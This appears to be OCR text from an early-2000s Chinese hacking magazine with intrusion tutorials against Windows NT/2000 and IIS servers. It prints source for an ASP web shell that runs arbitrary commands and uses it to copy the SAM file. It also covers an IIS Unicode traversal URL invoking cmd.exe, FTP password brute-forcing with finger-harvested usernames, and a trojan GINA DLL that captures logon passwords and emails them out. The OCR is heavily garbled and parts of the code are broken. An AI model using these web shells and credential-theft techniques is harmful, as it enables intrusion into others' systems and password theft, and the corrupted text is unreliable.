下 。 下 面 我 们 选中 d: \chat2. zip 这 个 文件 , 选择 复制

命令 ,然后 添 人 我 们 要 复制 的 目录 d: \inetpub \billing'

1998\ 下 就 可 以 了 (如 网 6)。

当 命令 成 功 执行 后 浏览 器 就 会 返回 下 面 的 消息

(如 图 7)。

其 实用 这 个 程序 可 以 做 很 多 事情 , 而 且 操 作 都 是

非常 简单 的 ,稍微 看 看 就 可 以 学 会 。 讲 了 这 人 么 多 ,实际

上 我 们 还 有 一 个 问题 没有 解决 呢 , 就 是 对 方 的 允 epb

目录 下 并 没有 可 执行 的 目录 ,如 :cgi- pin 。 如 果 我 们

想 要 执行 一 个 程序 或 是 其 他 命令 的 话 就 不 太 方便 的

汪 让 卫生

这 才 弯 震 好 效 灯 。 《 乏 杂 加 区 二 宛 D

图 7

了 ,, 其 实 这 个 问题 也 困扰 了 我 很 久 , 直到 最 近 的 几 篇

文章 的 出 现 才 解决 了 这 个 问题 。 下 面 把 这 个 我 已 经 编

译 好 的 ASP 程序 代码 给 大 家 看 ,利用 这 个 程序 我 们 可

以 非常 轻松 的 在 对 方 主机 上 运行 任意 命令 , 而 且 所 有

程序 执行 后 的 结果 我 们 都 可 以 看 到 !

<%@ Language =VBScript % >

< %

Dim oScript

Dim oScriptNet

Dim oFileSys,oFile

Dim szCMD,szTempFile

On Error Resume Next

”- =- create the COM objects that we will be us-

ing 一 一

?3?

Set ” o9cript = Server. CreateObject(

WSCRIPT. SHELEL”)

Set oScriptNet =

WSCRIPT. NETWORK?”)

Set oFileSys = Server. CreateObject( ” Script-

?3?

Server. CreateObject(

ing. FileSystemObject”)

- - check for a command that we have posted

szLCMD = Request. Form(”. CMD7”)

If (szCMD <> ””) Then

?

- - Use a poor man” s pipe .., a temp file

?》

szTempFile = ”C: \” 区 oFileSys. GetTempName(

Call oScript. Run (”cmd, exe /cec ”区 szCMD 人 ”

> ”& szTempFile,0,True)

Set oFile = oFileSys. OpenTextFile (szTempFile,

1,False,0)

End 下

和 >

< 上 ORM

quest, ServerVariables( ”

POST2”>

action =”<2% = Re-

URL>) 和 > ” method =?”

< input type = text name =”. CMD?”size = 45 val-

ue=”< 纺 = szCMD 和 > ”>

< /FORM>

< 和 0

IH (IsObject(oFile) ) Then

9

~- - Read the output from our command and re-

move the temp file - 一

On Error Resume Next

Response. Write Server. HTMLEncode

(oFile. ReadAl )

oFile. Close

Call oFileSys. DeleteFile(szTempFile,True)

End 下

和 >

现在 让 我 们 把 这 个 ASP 程序 传 到 对 方 主机 的

Web 目录 下 , 取 名 为 cmdasp. asp, 然 后 直接 用 浏览 器

来 执行 看 看 (如 图 8)。

wyPes ET RE ER

联 难 六 立 届 妇 呈 丰 Erreket

起 好 EM 洛 大 SCFEr43TC

STRTTVASTFLzaSS 匀 月 沁

件 列表 怎么 样 ? 吃 了 一 惊 吧 ? 是 不 是 非常 方便 呢 ? 下

我 们 直接 用 dir 这 个 命令 来 查看 对 方 主机 上 的 文 ,

面 再 来 看 看 我 们 用 net view 命令 查看 对 方 所 在 局 域 网

上 的 主机 列表 的 结果 (如 图 9)。

最 后 嘛 ,当然 是 要 把 sam 拷 下 来 研究 了 , 我 们 直

图 9

接 用 copy 命令 就 可 以 了 (如 图 10)。 非 常 有 意思 的 是 :

如 果 用 我 们 刚才 的 那个 ASP 木马 是 无 法 拷贝 这 个

SAM 文件 的 , 因 为 我 们 的 权限 不 够 , 而 我 们 用 这 个

ASP 程序 却 可 以 实现 。

讲 了 这 人 么 多 无 非 是 向 大 家 推荐 另外 一 种 木马 。 用

图 10

ASP 程序 来 帮助 人 侵 是 有 很 多 好 处 的 : 首先 它 不 用 贸

在 内 存 里 , 所 以 杀毒 软件 根本 无 法 发 现 它 , 而 且 它 应

该 可 以 绕 过 大 部 分 防火 墙 的 阻拦 , 因 为 我 们 是 通过

80 端口 这 个 合法 的 端口 来 实现 我 们 的 调用 的 , 并 没

有 开 额 外 的 端口 出 来 。 我 们 要 做 的 就 是 找到 一 个 有

Web 目录 的 用 户 密码 , 然后 把 我 们 的 程序 隐藏 到 对 方

目录 下 的 一 个 文件 里 ,方便 以 后 我 们 随时 调用 ,或 者

也 可 以 在 每 次 用 后 删除 掉 。 毕 竞 这 是 一 种 非常 隐蔽 而

且 很 有 新 意 的 人 侵 ,不 是 吗 ? ”全

暴力 的 密码 破解 的 方法 实际 上 就 是 僚 傣 的 拿 一

个 单词 表 一 个 一 个 去 试 别 人 的 密码 , 这 实在 不 能 说 是

什么 高 明 的 方法 ,现在 应 该 没什么 人 用 了 吧 ? 呵呵 , 其

实 一 个 暴力 法 的 基础 就 是 : 我 们 应 该 有 一 个 用 户 名 ,

或 者 说 最 好 有 对 方 主机 的 用 户 列表 。 有 了 目标 我 们 的

暴力 法 才 用 得 上 。 在 Win NT 下 我 们 用 小 榕 的 流光 就

可 以 非常 简单 地 获得 对 方 主机 的 用 户 名 单 和 管理 员

名 单 , 在 此 基础 上 我 们 可 以 对 照 一 本 简单 的 字典 去 尝

试 登陆 。 也 许 你 认为 这 样 的 机 会 太 渺茫 , 可 事实 肯

会 让 你 吃惊 , 我 的 一 个 朋友 用 了 5 个 小 时 就 扫 到 了

1400 多 个 台湾 NT 主机 的 密码 , 竟然 还 有 很 多 管理 员

的 密码 是 空 或 是 123456 这 样 简 单 的 密码 , 你 要 是 想

黑 他 们 简直 是 轻而易举 的 事情 , 难怪 小 榕 曾经 说 过 一

天 可 以 黑 掉 1000 个 站 了 。

但 在 xnix 下 , 我 们 来 实现 这 种 攻击 就 不 是 很 简

单 的 了 , 在 * nix 目前 还 没有 什么 工具 让 我 们 可 以 直

接 得 到 对 方 的 用 户 列表 。 好 在 我 们 还 有 一 个 工具

FINGER 可 以 用 在 Win2000 里 , 它 是 一 个 Win2000 自

带 的 小 工具 ,在 98 下 是 没有 的 。 我 们 可 以 用 : finger

0@ 对 方 主机 耳 的 方法 来 获得 对 方 主机 当前 的 在 线

用 户 列表 , 虽 然 不 是 所 有 的 用 户 列表 , 但 是 它 的 危害

却 是 不 小 的 。 现 在 我 们 简单 的 去 尝试 一 个 提供 FIN-

GER 命令 的 主机 地 址 , 来 看 看 我 们 得 到 了 什么 结果

(如 图 1)。

多 汪 9

看 到 没有 , 我 们 可 以 轻松 的 拿 到 这 人 台 主 机 的 当前

用 户 名 和 他 们 的 实际 的 卫 地 址 。 碰 巧 这 人 台 主 机 的 用

户 还 非常 的 多 , 我 们 就 可 以 进一步 的 把 这 些 用 户 名 做

成 一 个 TXT 文件 (如 图 2) ,用 来 做 一 个 FTP 暴力 破解

的 用 户 列 表 。 最 重要 是 记得 不 要 在 用 户 名 称 后 面 有 什

么 空格 之 类 的 额外 动作 , 负责 一 会 破解 的 时 候 就 会 很

麻烦 。

图 2

现在 我 们 已 经 有 了 用 户 列表 , 还 需要 一 个 暴力 破

解 的 工具 , 这 次 我 用 的 是 国产 的 FTPPASS , 经 过 测试 ,

它 的 性 能 和 功能 还 不 错 , 因为 它 是 不 多 的 支持 多 用 户

的 破解 工具 , 省 了 我 们 好 多 设置 。 我 们 现在 首先 选择

用 户 名 文件 , 然后 为 了 省 事 ,, 密码 文件 我 用 的 也 是 用

户 列表 (如 图 3), 呵呵 ,就 是 简单 的 尝试 用 户 名 和 窗

码 相 同 的 傻瓜 。 : )

开始 破解 不 久 后 我 们 就 得 到 了 一 个 叫 2008 的 用

户 的 密码 也 是 2008( 如 图 4) ,怎么 样 ? 第 一 个 密码 就

这 么 简单 的 拿 到 了 , 剩 下 的 就 是 我 们 进 系统 去 看 看 有

什么 了 。:)

玫 4

对 于 finger 其 实 还 有 一 个 让 我 们 用 上 的 东西 , 就

是 我 们 可 以 去 查询 远程 主机 一 个 指定 的 用 户 名 是 否

合法 存在 。 我 们 可 以 TELNET 到 对 方 主机 的 79 端口 ,

然后 给 出 一 个 用 户 和 名, 如 果 对 方 主 机 有 这 个 用 户 就 会

痊 我 们 一 个 成 功 的 提示 , 否则 就 会 告诉 我 们 对 方

主机 没有 这 个 用 户 (如 图 5, 6,7) ,我 想 现在 大 家 还 很

少 会 用 什么 复杂 的 用 户 名 吧 ? 所 以 我 们 同样 用 穷 举 的

方法 来 获得 对 方 主机 的 一 个 用 户 列表 , 当然 这 并 不 可

能 是 完整 的 ,但 毕竟 让 我 们 多 了 一 点 机 会 。 不 是 吗 ?

沽 0

七 935nNE 00 七

作 了 PetQfr 直 2 AD

Heuef 4099eg inv

et TazL Feceiued Bed Dec 了 2 丰 G9 82 忆 忆 仁和 长 用》

nea 世 三 ER 攻 于 上 De 4 297 2n08 《CSTY》

2 PEan。

|

iaRez bot |

Re /开动 S

NA 让

|

|

图 5

人 BO NG SLC SR 挛 =

rn

半生 全 和 和 和 和 和 和

了 四

!

和 re 让 PTT THane; 《RUIL)

吉 jrecknre5 7edi1423AhtnlAterry Sheet: AbjnAbwAs 和 和

Jever tpgged dln-

3 pa 刀 。

jHo Pan-

UVcoge

大 家 在 用 Unicode 漏洞 人 侵 的 时 候 , 经 常会 遇 到

像 aaa ddd 这 种 文件 夹 , 2

由 Bytes 来 告诉 大 家 。 声 明 本 文 不 是 介绍 什么 经 典 技

术 , 所 以 高 手 止 步 (这 种 方法 大 家 或 许 已 经 知道 ) , 言

归 正 传 。 比 如 有 如 下 几 个 文件 夹 :

1. aaa bbb 2,WwWww sdqx

3. sad fsd 4. aaa bbbda

S. saddd fdasfs

这 五 个 文件 夹 .

1 号 就 用 aaabbb ~1 代替 ,2 号 就 用 wwwsdx ~1

代替 也 就 是 http: / /www. chinawebfan. com/scripts/

.. 力 1c%ocl.. /winnt/system32/cmd. exe?/c +dir+

c: \aaabbb ~ 工 没 用 的 别 试验 ) 这 么 看 , 也 可 以 说 就 是

取 文 件 夹 名 称 前 六 个 字符 , 然后 在 加 ”~ 1 或 ”~2”

(以 此 类 推 ), 比如 4 号 和 !1 号 前 六 个 字符 相同 ,怎么

办 呢 ? 别 急 , 1 号 是 aaabbb ~ 1, 4 号 就 是 aaabbb ~ 2, 这

是 以 文件 夹 的 前 后 顺序 决定 的 。 全

远程 人 侵 Windows NT 系列 系统 , 据 我 所 知 常用

的 手法 有 如 下 几 种 :

<1> 通过 与 目标 NT Server 建立 IPC NULL Ses-

sion 后 , 枚 举 、 穷 举 系 统 账号 , 然后 猜测 简单 密码 , 得

到 弱 密 码 的 可 用 普通 账号 后 再 做 进一步 攻击 , 或 者 是

直接 得 到 弱 密 码 的 管理 员 账 号 。 关 于 这 个 在 我 的 另 一

篇 文章 《Windows NT 系统 账号 安全 攻防 》 中 介绍 得 比

较 详 细 ,这 里 就 不 多 说 了 。

<2> Windows 2000 的 登录 验证 漏洞 。 终 端 服

务 。 现 在 很 多 Windows 2000 服务 器 都 安装 了 终端 服

务 , 但 是 还 有 为 数 不 少 的 服务 器 都 是 没有 安装 补丁

的 , 而 且 受 此 漏洞 影响 的 Windows 2000 不 止 是 简体

中 文 版 ,任何 版 本 只 要 安装 了 简体 中 文字 体 都 会 受 影

响 。 成 功利 用 此 漏洞 可 以 直接 得 到 LOCAL_ SYSTEM

权限 。

<3> 数据 库 人 侵 。 在 Windows NT 平台 上 跑 的 数

据 库 几乎 都 为 MS SQL Server, 而 MS SQL Server7. 0 默

认 安 装 后 , 内 置 账号 sa 密码 是 为 空 的 。 现 在 的 SQL

Server 2000 就 好 了 一 点 了 , 在 安装 过 程 中 会 提醒 你 不

推荐 使 用 空 密码 。SQL Server 有 个 扩展 存储 过 程

xp_emdshell, 调 用 这 个 存储 过 程 就 可 以 以 启动 SQL

Server 账号 [通常 是 LOCAL SYSTEM] 的 身份 执行 任

意 命令 了 。

<4> 利用 IIS 的 漏洞 。 微 软 的 HS 漏洞 真是 层 出

不 穷 , 泄漏 ASP 源 代 码 、Unicode、 二 次 解码 \ida 溢出 、

printer 洲 出 、ISAPI DLL 提升 权限 等 等 , 每 一 个 都 是 致

命 的 。 而 且 通 过 IIS 漏洞 获取 了 数据 库 的 账号 和 密码

后 , 就 可 以 利用 上 面 说 的 第 三 种 方法 来 做 一 些 事 情

本 5

文 / ey4s

利用 CGI 漏洞 。 有 不 少 CGI 程序 员 都 是 不

注意 安全 的 , 例 如 把 数据 库 账号 和 密码 存放 在 TXT、

INC 文件 里 面 , 接收 用 户 输入 的 变量 不 做 严格 过 滤 等

等 ,这 些 都 是 非常 危险 的 。

<6> 利用 其 他 漏洞 入 侵 , 如 第 三 方 提供 的 某 些

以 上 各 种 人 侵 手 法 网 上 都 有 大 量 的 资料 , 所 以 我

就 不 废话 了 ,只 是 简单 的 列举 一 下 , 加 上 我 也 没什么

入 侵 的 经 验 , 只 是 没事 自己 及 想 轴 了 。

入 侵 成 功 后 , 我们 通常 都 是 添加 一 个 系统 管理 员

账号 ,或 者 把 以 前 系统 内 置 的 .已 有 的 某 些 账 号 激活 ,

重 置 密码 、 加 到 管理 员 组 , 供 自 己 使 用 [如 激活 guest

账号 ]。 但 这 些 都 是 比较 危险 的 ,容易 被 管理 员 发 现 。

个 人 认为 ,这 个 时 候 如 果 能 获得 系统 已 存在 的 账号 的

密码 , 那 就 比较 方便 了 , 以 后 就 可 以 用 别 的 用 户 的 账

号 登录 了 。 虽 然 这 也 不 是 很 好 的 办 法 , 但 总 比 添 加 账

号 和 重 置 某 些 账号 的 密码 好 很 多 ,不 是 吗 ?

OK! 那 我 们 就 来 看 看 人 侵 成 功 后 通常 可 以 利用

哪些 办 法 来 获取 其 他 系统 账号 的 密码 。 如 果 没 有 特别

指出 的 话 , 以 上 和 以 下 所 说 的 入 侵 成 功 指 的 都 是 能 以

系统 管理 员 身 份 执行 命令 。

第 一 种 方法 ,用 pwdump 把 所 有 账号 的 加 密 过 的

密码 dump 出 来 ,然后 用 LophtCrack 暴力 破解 。 这 种 方

法 地 球 人 都 知道 ,如果 密码 比较 简单 的 话 , 花 不 了 多

少时 间 就 可 以 得 到 密码 明文 。 如 果 密 码 比 较 复 杂 的

话 , 那 就 看 运气 了 ,说白 了 就 是 运气 上 时 间 。 这 个 办 法

比较 无 聊 , 而 且 也 不 能 直接 得 到 用 户 密码 的 明文 ,不

多 说 了 。

第 二 种 方法 是 用 特洛伊 DLL 替换 MSCINA , 在 用

户 登 录 [从 控制 台 登 录 或 者 是 通过 终端 服务 登录 ] 过

程 中 , 获取 用 户 明 文 密码 。 这 种 方法 有 很 多 人 已 经 了

如 指 掌 , 但 也 许 还 有 一 部 分 人 还 不 是 很 了 解 , 那 我 就

班 门 弄 和 从 , 简 单 介绍 一 下 Windows 2000 的 引导 过 程

和 CINA。

计算 机 有 两 个 引导 过 程 , 先是 它 本 身 的 引导 , 然

后 是 操作 系统 的 引导 。 在 安装 过 程 中 ,Windows 2000

的 安装 程序 将 数据 写 人 了 计算 机 主 分 区 (引导 分 区 )

的 第 一 个 证 区 中 。 这 些 数 据 就 是 “ 主 引导 记录

(MBR)”, 它 包含 了 x86 计算 机 可 执行 的 指令 。 除 了 可

执行 指令 外 ,MBR 还 有 一 个 最 多 包含 4 个 项 目的 表 ,

它 定义 了 主 分 区 在 磁盘 上 的 位 置 。 安 装 程序 还 把 两 个

初始 化 Windows 2000 引导 序列 的 文件 (Nddr 和 Ntde-

tect. com) 复制 到 引导 驱动 器 的 根 目录 下 。 同 时 文件

boot. ini 也 放置 在 了 引导 驱动 器 的 根 目 录 下 , 该 文件

包含 了 启动 选项 。

Windows 2000 操作 系统 引导 过 程 分 以 下 几 步 :

<1> MBR 代码 执行 。 在 BIOS 引导 过 程 的 最 后

一 步 , 计 算 机 将 MBR 读 和 内存, 然后 将 控制 权 交 给

MBR。MBR 中 的 可 执行 代码 在 分 区 上 搜索 分 区 表 , 查

找 一 个 标识 了 可 引导 标记 的 分 区 。 找 到 第 一 个 可 引导

分 区 后 , 它 会 读 取 该 分 区 的 第 一 个 扇 区 , 这 就 是 引导

扇 区 。

<2> 双 indows 2000 启动 文件 执行 。 操 作 系 统 代

码 将 Nudr 读 人 内 存 , 启 动 操作 系统 的 引导 进程 Nildr

包含 了 只 读 的 NTFS 和 了 TAT 代码 , 开始 时 , 它 只 是 在

实 模式 下 运行 , 它 的 第 一 个 任务 是 将 系统 切换 到 保护

模式 。 第 一 个 保护 模式 的 实例 不 能 为 硬件 保护 执行 物

理 到 虚拟 的 转换 一 一 这 个 功能 只 有 在 Windows 2000

操作 系统 引导 完成 后 才 可 用 。 这 时 候 所 有 物理 内 存 都

是 可 用 的 ,并 且 计 算 机 作为 一 个 32 位 的 机 器 运行 。 然

后 Nddr 启用 页 面 交换 并 创建 页 表 。 接 着 , 它 从 根 目录

下 读 取 boot. ini 文件 , 并 在 显示 器 上 显 式 引 导 选 择 菜

单 。

<3> 引导 选择 菜单 显 式 。 引 导 选 择 菜 单 出 现 , 显

式 计算 机 上 可 用 的 操作 系统 选项 。 也 可 能 什么 都 不 显

式 , 如 果 你 的 机 器 上 只 安装 了 双 indows 2000 的 话 。

<4> Ntdetect 启动 。 当 用 户 在 屏幕 上 的 菜单 选 定

了 Windows 2000 时 ,KNtldr 启动 Ntdetect. com。Ntde-

tect. com 从 系统 的 BIOS 中 查询 系统 的 设备 和 配置 信

息 。Ntdetect 收集 到 的 信息 被 发 送 到 注册 表 中 ,并 放 在

HKLMA\Hardware \Description 的 子 项 中 。

<5> Ntoskml 运行 和 HAL 加 载 。Ntdeteet 执行 完

它 的 硬件 检查 后 , 把 操作 系统 的 引导 进程 交 回 给 Ntl-

dr,Ntldr 启动 Ntoskrnl. exe 并 加 载 hal. da,HAL 的 英文

Hardware Abstract Layer 的 缩写 , 意思 是 人 硬件 抽象 层 。

Ntoskrnl. exe 包含 了 内 核 和 可 执行 子 系统 , 这 是 Win-

dows NT 内 核 模 式 组 件 的 核心 文件 。 它 包含 了 内 核 、 可

执行 体 、 缓 存 管理 器 、 内 存 管 理 器 、 调 度 程序 、 安 全 引

用 监视 器 等 等 。 这 是 真正 使 Windows 2000 运行 的 文

件 。 为 了 使 硬件 和 操作 系统 能 够 交互 ,Ntoskml. exe 需

要 hal. dl , 因为 它 包 含 允 许 重 件 和 操作 系统 交互 的 代

但 。

<6> 驱动 程序 加 载 。 现 在 ,Nudr 加 载 了 底层 的

系统 设备 驱动 程序 , 但 服务 还 没有 初始 化 。 这 里 是 引

导 过 程 的 重点 ,从 这 里 开始 的 过 程 称 为 加 载 过 程 。

<7> 操作 系统 加 载 。 操 作 系统 开始 加 载 操 作 系

统 , Windows 2000 内 核 被 初始 化 , 然后 子 系统 被 加 载

和 初始 化 , 以 便 提供 完成 加 载 操 作 系统 任务 的 最 基本

的 系统 。 前 面 被 Nddr 加 载 的 驱动 程序 现在 被 初始 化 ,

接着 其 余 的 驱动 程序 和 服务 被 初始 化 。 如 果 没 有 什么

意外 的 话 , 那么 Windows 2000 内 核 和 可 执行 系统 现

在 就 可 以 运行 了 。 会 话 管理 子 系统 (smss. exe) 设 置 用

户 环境 并 且 检 查 注册 表 中 的 信息 , 然后 要 求 加 载 的 驱

动 程序 和 软件 被 加 载 。 内 核 加 载 kerne. dllj\.gdi32. dl 、

user32. dl ,它们 提供 了 客户 程序 要 求 的 win32 API。 接

着 ,win32 子 系统 执行 下 面 任 务 ,

A. 启动 winlogon. exe, 它 向 屏幕 发 送 登录 对 话 框

B, 加 载 本 地 安全 授权 (lsass. exe)

C. 启动 services. exe

好 了 ,到 这 里 操作 系统 就 引导 完毕 ,可 以 工作 了 ,

这 时 候 MSGINA 也 已 经 加 载 了 。 登 录 进 程 的 验证 和 身

份 验证 都 是 在 GINA(GINA - Graphical Identification

and Auihentication 图 形 标识 和 身份 验证 ) 中 实现 的 , 微

软 的 GINA 是 MSGINA. dl ,实现 了 默认 的 双 indows NT

登录 界面 。 关 于 Winlogon 登录 管理 和 GINA 的 更 详细

的 信息 ,bingle 在 他 的 文章 里 面 已 经 介绍 得 很 详细 了 ,

我 就 不 多 说 了 。

MSGINA. DLL 中 提供 了 19 个 API, 其 中 最 先 被 登

录 进 程 调用 的 API 是 刀 lxNegotiate。 这 个 AFI 的 功能

是 登录 进程 与 操作 系统 协商 CGINA 版 本 号 的 。 然 后 分

别 被 调用 的 是 鸡 lxInitialize、 双 IxRemoveStatusMessage、

双 lxLoggedOutSAS。 当 调用 到 允 ]xLoggedOutSAS 的 时

候 , 登 录 对 话 框 就 出 来 ,提示 你 输入 用 户 名 和 密码 。 我

倒数 第 二 个 参数 是 一 个 指向 WLX MPR_NOTIFY

INFO 结构 的 指针 ,此 结构 的 原型 如 下 :

看 见 了 吗 ? 这 正 是 我 们 感 兴趣 的 东西 。

我 们 可 以 来 做 一 个 特洛伊 DLL, 这 个 DLL 提供 的

API 接口 和 MSGINA. DLL 完全 一 样 , 然后 让 系统 在 启

动 过 程 中 加 载 我 们 的 GINA, 我 们 的 DLL 在 接收 到 登

录 进 程 传递 的 参数 后 ,把 我 们 感 兴趣 的 数据 [如 登录

用 户 的 账号 和 密码 ] 保 存 下 来 ,然后 转发 给 真正 的 CL

NA 就 行 了 。 关 于 特洛伊 DLL 的 编写 ,在 SDK 中 有 例

程 , 但 上 面 的 例 程 麻烦 了 一 点 ,如 果 单 纯 为 了 获取 用

户 输入 的 密码 的 话 ,我 们 可 以 做 得 更 简单 。SDK 中 的

例 程 挂 接 了 所 有 的 API, 但 其 实 只 要 挂 接 WixNegotiate

和 WIlxLoggedOutSAS 两 个 API 就 行 了 , 其 余 的 函数 做

函数 转发 就 OK 了。 we 最 简单 的 方法 就 是

像 下 面 这 样 使 用 一 个

#pragma as ”export: 双 ]xLoggedOn-

SAS = WIxLoggedOnSAS”)

这 个 pragma 告诉 链接 程序 , 被 编译 的 DLL 应 该

输出 一 个 名 叫 鸡 xLogged0nSAS 的 函数 。 但 是

双 lxLoggedOnSAS 函数 的 实现 实际 上 位 于 另 一 个 包含

在 msgina. dll 模块 中 名 为 观 lxLoggedOnSAS 的 函数 。

pragma 指令 :

每 一 个 需要 转发 的 函数 都 要 创建 一 个 单独 的 pragma

代码 行 。 我 把 SDK 中 的 GinaHook 稍微 修改 ,如 下 :

SR ne

-xienaauanmW 入 盆 NTE 了 到 全

逢 用 太太 法 ittdt 人

把 上 述 代码 编译 成 DLL 文件 [ 别 忘 了 创建 一 个

def 文件 , 输出 叉 kNegotiate 和 有 lxLoggedOutSAS 两 个

API], 修改 注册 表 , 让 系统 启动 的 时 候 不 加 载 默认 的

MSGINA ,而 是 加 载 我 们 的 DLL。 这 样 用 户 在 登录 过 程

中 ,我 们 就 能 获取 他 的 账号 和 明文 密码 了 。 具 体 是 在

HKEY LOCAL MACHINE \SOFTWARE\Microsoft、\

Windows NT\ CurrentVersion\ Winlogon 这 个 子 项 下 面

创建 一 个 键 值 GinaDLL, 指 向 我 们 的 DLL, 如 果 已 经

存在 此 键 值 ,修改 之 。 系 统 默认 是 没有 这 个 键 值 的 ,此

键 值 不 存在 , 系 统 就 默认 加 载 system32 下 的 MSGT

NA. DLL ,否则 就 加 载 CinaDLL 键 值 指 向 的 DLL。

其 实 上 述 我 们 GINA 编写 的 并 不 严密 , 没 有 保存

现场 和 恢复 现场 , 所 以 不 具有 通用 行 。 在 系统 已 经 指

定 别 的 GINA 的 情况 下 ,系统 就 会 无 法 登陆 了 。 例 如

服务 器 在 已 经 装 PeAnywhere 的 情况 下 ,那么 CinaDLL

已 经 被 创建 , 并 指向 % SystemRoot9% \ System32\ awgi-

na. dl, 这 时 候 如 果 修 改 GinaDLL 的 值 为 指向 我 们 的

GINA ,那么 PeAnywhere 在 启动 的 时 候 就 会 出 错 , 导致

系统 蓝屏 。

写 的 好 的 Gina 应 该 这 样 , 提 供 一 个 EXE 程序 和

一 个 DLL. EXE 程序 负责 保存 现场 和 恢复 现场 。 安 装

的 时 候 ,EXE 程序 检查 注册 表 中 是 否 有 GinaDLL 键 值

如 果 没 有 的 话 , 那 么 则 认为 系统 默认 加 载

的 是 % SystemRoot% \ system32\ msgina. dll,, 然后 安装

程序 创建 GinaDLL 键 值 ,指向 我 们 的 CGINA DLL ,然后

留 下 一 个 标志 [通过 文件 或 者 注册 表 ] 告 诉 我 们 的 CT

NA DLL 原始 CGINA 是 msgina. dll。

如 果 有 的 话 , 那 么 则 认为 系统 加 载 的 是 别

的 GINA, 取 得 GinaDLL 的 值 , 做 为 标志 告诉 我 们 的

GINA ,修改 GinaDLL 指向 我 们 的 CINA DLL。

当 我 们 的 GINA DLL 被 系统 加 载 的 时 候 , 通过 安

装 程序 留 下 的 标志 判断 该 从 哪个 DLL 中 取得 CINA

API 的 地 址 , 而 不 是 固执 地 坚持 从 MSGINA. DLL 取得

GINA API 的 地 址 。 这 回 我 们 可 不 能 偷懒 做 函数 转发

了 ,每 个 GINA API 都 得 用 GetProcAddress 从 原始 GEL

NA DLL 中 取得 地 址 。 这 样 做 唯一 不 好 的 地 方 就 是 系

统管 理 员 查 看 注册 表 的 时 候 , 一 眼 就 能 发 现 了 。 当 我

们 的 GINA DLL 获取 了 管理 员 的 密码 后 , 可 以 让 它 马

上 把 用 户 名 和 密码 Email 到 我 们 指定 的 信箱 , 然 后 运

行 前 面 所 说 的 exe 程序 , 恢复 现场 。 恢 复 现 场所 作 的

只 是 恢复 GinaDLL 的 值 , 如 果 本 来 就 没有 的 话 , 那么

删除 GinaDLL 键 值 。 然 后 删除 我 们 留 下 的 标志 和 DLL

文件 。PecAnyWhere 在 安装 的 时 候 , 就 没有 考虑 到 保存

现场 和 恢复 现场 , 所 以 如 果 安 装 PeAnywhere 之 前 系

统 加 载 不 是 默认 的 MSGCINA. DLL 的 话 , 那 么 就 比较

麻 类 了 。 而 且 伯 载 PeAnywhere 的 时 候 , 它 好 像 也 没有 .

恢复 现场 , 所 以 有 时 候 会 出 现 印 载 PecAnyWhere 后 系

统 就 无 法 登录 了 。 通 常 遇 到 这 种 情况 , 我 们 可 以 通过

远程 连接 注册 表 来 修改 CinaDLL, 恢复 系统 。 如 果 是

单机 的 话 , 可 以 在 系统 启动 的 时 候 按 F8 进入 高 级 模

式 , 选择 安全 模式 登录 [ 带 命令 行 ], 然后 运行 regedit

来 修复 就 行 了 。

第 二 种 方法 虽然 能 得 到 用 户 的 明文 密码 , 但 比较

被 动 , 属于 守株待兔 那 种 。OK! 我 们 来 看 看 更 直接 的

方法 , 直 接 获 取 已 经 在 控制 台 登 录 的 用 户 的 明文 密

码 。 大 家 还 记得 孤独 剑客 前 段 时 间 发 布 的 小 程序

passdump 吗 ?运行 这 个 程序 可 以 把 缓存 中 用 户 的 密码

读 取 出 来 。 至 于 缓存 中 的 是 加 密 过 的 密码 、 读 出 来 再

解密 , 还 是 缓存 中 的 就 是 明文 密码 , 这 我 就 不 清楚 了 ,

我 问 过 孤独 剑客 , 他 说 是 加 密 过 的 密码 , 他 知道 加 密

算法 ,所 以 解密 也 就 是 小 事 了 。

不 过 运行 这 个 程序 限制 比较 多 , 得 在 控制 台 已 登

录用 户 的 进程 空间 里 面 运行 才能 成 功 。 现 在 我 们 假设

如 下 : 系统 管理 员 eyas 已 经 在 控制 台 登 录 , 人 侵 者 通

过 某 些 手段 已 经 攻破 系统 , 添加 了 一 个 系统 管理 员 账

号 admin, 现 在 我 们 的 焦点 是 一 一 如 何 获取 管理 员

eyas 的 明文 密码 。 通 过 终端 服务 用 admin 账号 登录 ,

直接 运行 passdump? 不 行 。 通 过 telnet 用 admin 连接 ,

运行 passdump? 不 行 。 通 过 计划 任务 运行 passdump? 不

行 。 为 什么 都 不 行 呢 ? 因为 上 述 做 法 passdump 都 不 是

在 控制 台 登 录用 户 eyas 的 进程 空间 运行 ,所 以 不 能 取

得 用 户 eyas 在 缓存 中 的 密码 。BTW: 通过 终端 服务 登

录 , 运行 passdump 并 不 能 取得 自己 在 缓存 中 的 密码 ,

也 许 缓存 中 根本 没有 ,具体 情况 我 也 不 知道 ,我 太 菜 :

如 何 让 passdump 程序 在 eyas 的 进程 空间 运行 ?

有 办 法 。

Windows 大 多 数 函 数 允 许 进程 只 对 自己 进行 操

作 , 这 是 一 个 很 好 的 特性 , 因为 他 能 够 防止 一 个 进程

破坏 另 一 个 进程 的 运行 。 但 有 些 函数 也 允许 一 个 进程

对 另 一 个 进程 进行 操作 。Windows 提供 了 一 个 API 是

CreateRemoteThread , 这 使 我 们 能 够 很 轻松 地 在 另外 一

个 进程 中 创建 一 个 线程 。 此 函数 原型 如 下 :

在 别 的 进程 里 面 创 建 线程 的 时 候 , 如 果 直 接 提 供

线程 代码 的 话 , 比较 麻烦 。 比 较 简 单 的 方法 是 让 线程

来 加 载 我 们 的 DLL, 这 样 程序 编写 就 比较 模块 化 了 。

幸好 LoadLibrary 函数 的 原型 和 一 个 线程 函数 的 原型

是 相同 的 , 但 其 实 也 并 不 完全 相同 , 不 过 的 确 是 非常

相似 。 两 个 函数 都 接受 单个 参数 , 并 且 都 返回 一 个

值 。 我 们 所 要 做 的 就 是 创建 一 个 新 线程 , 并 且 使 线程

函数 的 地 址 为 LoadLibraryA 或 LoadLibrary 允 困 数 的

地 址 。

OKI! 这 样 的 话 , 我 们 就 需要 一 个 DLL, 这 个 DLL

所 做 的 只 是 运行 passdump 程序 , 这 样 , 当 我 们 在 eyas

的 进程 空间 里 面 创 建 一 个 线程 , 这 个 线程 加 载 我 们 的

DLL, 在 DLL 被 加 载 的 时 候 , passdump 就 在 eyas 的 进

程 空间 里 面 运行 了 ,我 们 也 就 能 够 得 到 eyas 的 明文 密

码 。

OK! 我 们 先 来 写 一 个 简单 的 DLL。

这 样 , 当 调用 LoadLibrary 加 载 这 个 DLL 的 时 候 ,

的 时 候 会 有 控制 台 窗口 弹出 来 。 我 们 可 以 修改 一 下 ,

们 可 以 设置 某 些 属性 ,让 程序 运行 的 时 候 没有 窗口 。

Taadimg

SS OA 全

